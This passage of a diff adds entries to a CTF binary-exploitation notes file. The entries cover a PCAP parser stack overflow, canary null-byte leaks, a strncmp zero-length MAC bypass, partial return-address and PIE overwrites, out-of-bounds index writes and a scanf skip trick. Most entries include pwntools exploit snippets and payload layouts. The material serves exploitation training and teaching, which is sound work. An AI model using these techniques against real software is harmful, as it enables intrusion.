# PCAP packet record header
|
|
409
|
+
pkt_ts_sec = 0
|
|
410
|
+
pkt_ts_usec = 0
|
|
411
|
+
pkt_caplen = len(payload) # captured length = our overflow payload
|
|
412
|
+
pkt_origlen = len(payload)
|
|
413
|
+
|
|
414
|
+
pkt_header = struct.pack('<IIII', pkt_ts_sec, pkt_ts_usec, pkt_caplen, pkt_origlen)
|
|
415
|
+
|
|
416
|
+
# Build malicious PCAP
|
|
417
|
+
pcap_data = pcap_header + pkt_header + payload
|
|
418
|
+
|
|
419
|
+
with open('exploit.pcap', 'wb') as f:
|
|
420
|
+
f.write(pcap_data)
|
|
421
|
+
|
|
422
|
+
# Step 4: Send to target
|
|
423
|
+
p = remote('target', 1337)
|
|
424
|
+
p.send(pcap_data)
|
|
425
|
+
p.interactive()
|
|
426
|
+
```
|
|
427
|
+
|
|
428
|
+
**Key insight:** Custom file parsers often allocate fixed-size stack buffers based on a "maximum expected size" but the file format allows specifying larger records. The `memcpy` happens before the length check, creating a classic stack overflow. When exploiting, you must restore callee-saved registers to valid values in the overflow payload -- the function epilogue pops them before returning, and invalid values cause crashes before the return address is reached. Common requirements: `rbx` must point to readable memory (use BSS), loop counter registers must satisfy exit conditions.
|
|
429
|
+
|
|
430
|
+
**Callee-saved register restoration checklist:**
|
|
431
|
+
1. Identify which registers the function pushes in its prologue (`push rbx`, `push r12`, etc.)
|
|
432
|
+
2. Determine the order they are restored in the epilogue (reverse of push order)
|
|
433
|
+
3. Set `rbx` to any readable address (BSS, GOT, or known mapped page)
|
|
434
|
+
4. Set loop counters (`r12`, `r13`) to values that terminate any loops cleanly
|
|
435
|
+
5. Add a `ret` gadget for 16-byte stack alignment before the win function address
|
|
436
|
+
|
|
437
|
+
**When to recognize:** Challenge involves a custom parser for a binary file format (PCAP, ELF, image, protocol buffer). The parser uses `memcpy` or `read` with a length field from the input. Check if the buffer size is smaller than the maximum length the format allows.
|
|
438
|
+
|
|
439
|
+
**References:** MetaCTF Flash CTF 2026 "PCAP Trap"
|
|
440
|
+
|
|
441
|
+
---
|
|
442
|
+
|
|
443
|
+
## Stack Canary Null-Byte Overwrite Leak (CSAW 2017)
|
|
444
|
+
|
|
445
|
+
**Pattern:** Stack canaries always end with a null byte (the low byte is `\x00`) to prevent string-based leaks. If an overflow allows overwriting just that null byte with a non-null character, `puts()` or `printf("%s")` will continue printing past the overwritten byte and output the remaining 7 canary bytes. A return-to-main provides a second exploitation stage where the full canary is known.
|
|
446
|
+
|
|
447
|
+
**Stack layout:**
|
|
448
|
+
```text
|
|
449
|
+
[buffer] [canary \x00 XX XX XX XX XX XX XX] [saved rbp] [return addr]
|
|
450
|
+
^--- overwrite only this byte with 'A'
|
|
451
|
+
→ puts() now prints: 'A' + 7 canary bytes + (more stack data)
|
|
452
|
+
```
|
|
453
|
+
|
|
454
|
+
**Exploitation:**
|
|
455
|
+
```python
|
|
456
|
+
from pwn import *
|
|
457
|
+
|
|
458
|
+
# Stage 1: Overwrite canary's null byte, leak remaining 7 bytes via puts
|
|
459
|
+
p.send(b'A' * buf_size + b'B') # 'B' overwrites the canary's null byte
|
|
460
|
+
leak = p.recvline()
|
|
461
|
+
# leak[buf_size] = 'B', leak[buf_size+1:buf_size+8] = 7 canary bytes
|
|
462
|
+
canary = b'\x00' + leak[buf_size + 1: buf_size + 8]
|
|
463
|
+
canary_val = u64(canary)
|
|
464
|
+
log.info(f"Leaked canary: {hex(canary_val)}")
|
|
465
|
+
|
|
466
|
+
# Stage 2: Return-to-main for clean second exploitation
|
|
467
|
+
# First stage payload returned to main() — now build full ROP chain
|
|
468
|
+
p.send(b'A' * buf_size + canary + p64(0) + p64(win_addr))
|
|
469
|
+
```
|
|
470
|
+
|
|
471
|
+
**Why return-to-main:** After leaking the canary by overwriting its null byte, the canary is corrupted — the process will crash on return. Return-to-main (via a first-stage overflow) resets the stack frame cleanly and allows a second input with the now-known canary value.
|
|
472
|
+
|
|
473
|
+
**Key insight:** The canary's null byte terminator is a weakness — overwriting only it makes string functions print the canary value. Return-to-main provides a second exploitation opportunity with the leaked canary, enabling full ROP chain construction.
|
|
474
|
+
|
|
475
|
+
**References:** CSAW 2017
|
|
476
|
+
|
|
477
|
+
---
|
|
478
|
+
|
|
479
|
+
## Empty-Token strncmp(n=0) MAC Bypass (UCSB iCTF 2018)
|
|
480
|
+
|
|
481
|
+
**Pattern:** A MAC or auth token check extracts `n` (comparison length) from a user-supplied field and then calls `strncmp(expected, supplied, n)`. When `n == 0`, `strncmp` returns 0 regardless of input — every token is accepted.
|
|
482
|
+
|
|
483
|
+
**Vulnerable code:**
|
|
484
|
+
```c
|
|
485
|
+
int n = atoi(user_len); // attacker controls length
|
|
486
|
+
if (strncmp(expected_mac, user_mac, n) == 0) {
|
|
487
|
+
grant_access();
|
|
488
|
+
}
|
|
489
|
+
```
|
|
490
|
+
|
|
491
|
+
**Exploit:** Send the token with `len=0` (or a length field that parses to zero) and an arbitrary MAC.
|
|
492
|
+
|
|
493
|
+
**Key insight:** Any variable-length comparator (`strncmp`, `memcmp`, `bcmp`) returns equality for zero-length input. Validate the length separately: reject `n <= 0`, or use `CRYPTO_memcmp`/`hmac_equal` and compare full fixed-size buffers. The same bug appears when the length comes from a client-supplied HMAC size or TLV header.
|
|
494
|
+
|
|
495
|
+
**References:** UCSB iCTF 2018 — writeup 10009
|
|
496
|
+
|
|
497
|
+
---
|
|
498
|
+
|
|
499
|
+
## Return Address LSB Overwrite + read() Chaining (TUCTF 2018)
|
|
500
|
+
|
|
501
|
+
**Pattern:** `read(0, buf, 0x80)` overflows into the saved return address by exactly one byte (off-by-one in the read size). Overwriting only the LSB keeps the high bytes intact, so you land a few bytes earlier in the same function. Pick a byte that points inside the function prologue before another `read()` call — it fires again with attacker-controlled args.
|
|
502
|
+
|
|
503
|
+
```python
|
|
504
|
+
# Offset 29 in the buffer = saved RIP LSB
|
|
505
|
+
payload = b'\x15' * 29 # 0x56555d22 -> 0x56555d15 (inside read() prologue)
|
|
506
|
+
p.sendline(payload)
|
|
507
|
+
|
|
508
|
+
# Second read call now reads into &password with length 0x2b
|
|
509
|
+
p.send(p32(0) + p32(password_addr) + p32(0x2b))
|
|
510
|
+
```
|
|
511
|
+
|
|
512
|
+
**Key insight:** A one-byte ret overwrite reused as a "call this function again" primitive is often stronger than a full ROP, because you bypass ASLR entirely — you jump to an instruction already at a known relative offset.
|
|
513
|
+
|
|
514
|
+
**References:** TUCTF 2018 — Lisa, writeup 12339
|
|
515
|
+
|
|
516
|
+
---
|
|
517
|
+
|
|
518
|
+
## Canary Trailing-Byte Leak via Padding One Byte Past Null (hxp 2018)
|
|
519
|
+
|
|
520
|
+
**Pattern:** glibc stack canaries always start with `0x00` so that `strcpy`/`printf("%s")` stops immediately. Send exactly `buf_size + 1` bytes; the `puts()` echo passes the canary's leading null and prints the remaining three bytes, giving you 3/4 of the canary.
|
|
521
|
+
|
|
522
|
+
```python
|
|
523
|
+
p.send(b'A' * (buf_size + 1))
|
|
524
|
+
leaked = p.recvline().rstrip(b'\n')
|
|
525
|
+
canary = b'\x00' + leaked[buf_size:] # reconstruct full 4-byte canary
|
|
526
|
+
```
|
|
527
|
+
|
|
528
|
+
**Key insight:** The canary byte that makes it "safe" against string operations is also the byte that enables the leak — replace it with a non-null byte, and the echo spills everything up to the next null.
|
|
529
|
+
|
|
530
|
+
**References:** hxp CTF 2018 — poor_canary, writeup 12568
|
|
531
|
+
|
|
532
|
+
---
|
|
533
|
+
|
|
534
|
+
## Index-Only Bounds Check + Stride OOB Write (P.W.N. CTF 2018)
|
|
535
|
+
|
|
536
|
+
**Pattern:** Vulnerable function reads an index `v2`, checks `v2 <= 0xfc`, and writes `0xC` bytes at `array[12 * v2]`. The check covers the *index*, not the *computed byte offset*. Pick `v2` so `12 * v2` lands well past the buffer (saved RIP, canary, GOT).
|
|
537
|
+
|
|
538
|
+
```c
|
|
539
|
+
if (v2 <= 0xFC) read(0, &array[12*v2], 0xC); // bug: stride unchecked
|
|
540
|
+
```
|
|
541
|
+
|
|
542
|
+
Set `v2 = 0xFB` to write 12 bytes at offset `12 * 0xFB = 0xBC4` past the array base.
|
|
543
|
+
|
|
544
|
+
**Key insight:** Every "bounded index" check must multiply by the element stride before comparing. Look for any `array[N*idx]` or struct-indexed writes where the check is only on `idx`; the effective bound is `max_offset / stride`.
|
|
545
|
+
|
|
546
|
+
**References:** P.W.N. CTF 2018 — Exploitation Class / Kindergarten PWN, writeup 12041
|
|
547
|
+
|
|
548
|
+
---
|
|
549
|
+
|
|
550
|
+
## Signed Index Negative OOB to Preceding GOT (P.W.N. CTF 2018)
|
|
551
|
+
|
|
552
|
+
**Pattern:** `if (v5 <= 31) array[v5] = value;` compiles to a *signed* comparison. Passing `-1`, `-2`, ... passes the check and writes backward into preceding memory — typically the GOT or adjacent global structures.
|
|
553
|
+
|
|
554
|
+
```c
|
|
555
|
+
int v5 = atoi(input); // signed
|
|
556
|
+
if (v5 <= 31) table[v5] = new_value; // writes to table[-N]
|
|
557
|
+
```
|
|
558
|
+
|
|
559
|
+
Use negative indices to first leak libc (`read` GOT) and then overwrite a free GOT entry with `system`.
|
|
560
|
+
|
|
561
|
+
**Key insight:** Signed vs unsigned mismatches are everywhere. Always check the declared type; a `<= N` guard with a signed index is actually `[INT_MIN..N]`. Compile with `-Wsign-conversion` to catch this statically.
|
|
562
|
+
|
|
563
|
+
**References:** P.W.N. CTF 2018 — Kindergarten PWN, writeup 12041
|
|
564
|
+
|
|
565
|
+
---
|
|
566
|
+
|
|
567
|
+
## PIE Same-Page Function Pivot via Single-Byte Overwrite (P.W.N. CTF 2018)
|
|
568
|
+
|
|
569
|
+
**Pattern:** Binary is PIE but two functions live in the same 4 KiB page: `fread_callback` at `base + 0x11BC` and `shell()` at `base + 0x11A9`. Page-relative offsets are fixed by the linker, so overwriting only the *low byte* of the stored function pointer on the stack rewrites `0xBC` → `0xA9` without needing any leak.
|
|
570
|
+
|
|
571
|
+
```python
|
|
572
|
+
p.send(b'A' * overflow_to_fp + b'\xa9')
|
|
573
|
+
```
|
|
574
|
+
|
|
575
|
+
**Key insight:** PIE randomises only page-aligned bits. Any two code addresses that share a page differ exclusively in the low 12 bits, so a single-byte overwrite is an ASLR-free partial overwrite whenever you can land the victim function in the same page during compilation.
|
|
576
|
+
|
|
577
|
+
**References:** P.W.N. CTF 2018 — Important Service, writeup 12041
|
|
578
|
+
|
|
579
|
+
---
|
|
580
|
+
|
|
581
|
+
## scanf Format-Error Skip for Canary Preservation (nullcon HackIM 2019)
|
|
582
|
+
|
|
583
|
+
**Pattern (babypwn):** `coin_count` is compared as signed (`(char)count > 20` rejects only positive overflow) but iterated as unsigned (`for (uint8_t i = 0; i < count; ++i)`). Sending `128` passes the check yet loops 128 times, walking past a 20-slot int array, the stack canary, saved RBP, and saved RIP. The standard "leak the canary with the same bug" trick fails because the vulnerable `printf` fires only **after** the overflow loop. Instead, feed scanf an invalid-but-format-conforming token on the two canary iterations so scanf returns error **without consuming input and without writing** — the canary stays intact while subsequent iterations continue writing past it.
|
|
584
|
+
|
|
585
|
+
```python
|
|
586
|
+
from pwn import *
|
|
587
|
+
|
|
588
|
+
target.sendline('y')
|
|
589
|
+
target.sendline('2019') # name
|
|
590
|
+
target.sendline('128') # unsigned char > 20 passes signed check
|
|
591
|
+
|
|
592
|
+
# Leak libc via GOT addresses in the first 8 coin slots (%8$s in the format string)
|
|
593
|
+
target.sendline(str(0x600FA8)) # free@GOT lower 32 bits
|
|
594
|
+
target.sendline(str(0)) # free@GOT upper 32 bits
|
|
595
|
+
# ... repeat for puts / setbuf / printf ...
|
|
596
|
+
|
|
597
|
+
for i in range(14): # pad to reach canary slot (22 writes in)
|
|
598
|
+
target.sendline('1')
|
|
599
|
+
target.sendline('2')
|
|
600
|
+
|
|
601
|
+
target.sendline('-') # "-" matches "%d" prefix but can't be a number
|
|
602
|
+
target.sendline('-') # scanf returns error, leaves canary untouched
|
|
603
|
+
target.sendline('0') # saved libc_csu_init slot - scratch
|
|
604
|
+
target.sendline('0')
|
|
605
|
+
target.sendline(str(0x400806)) # return address -> main() for stage 2
|
|
606
|
+
target.sendline(str(0))
|
|
607
|
+
```
|
|
608
|
+
|
|
609
|
+
**Key insight:** `scanf("%d", ...)` treats a lone `-` as a format mismatch — it returns early without writing to the destination and, crucially, without consuming the `-` byte; the next scanf call will then fail identically. Using this skip primitive you can surgically choose which iterations of a "fixed-count" write loop actually land on the stack, letting you hop over canary/RBP slots to reach the return address. Combine with a signed/unsigned char comparison bug to get a loop count larger than the declared max.
|
|
610
|
+
|
|
611
|
+
**References:** nullcon HackIM 2019 — babypwn, writeup 13211
|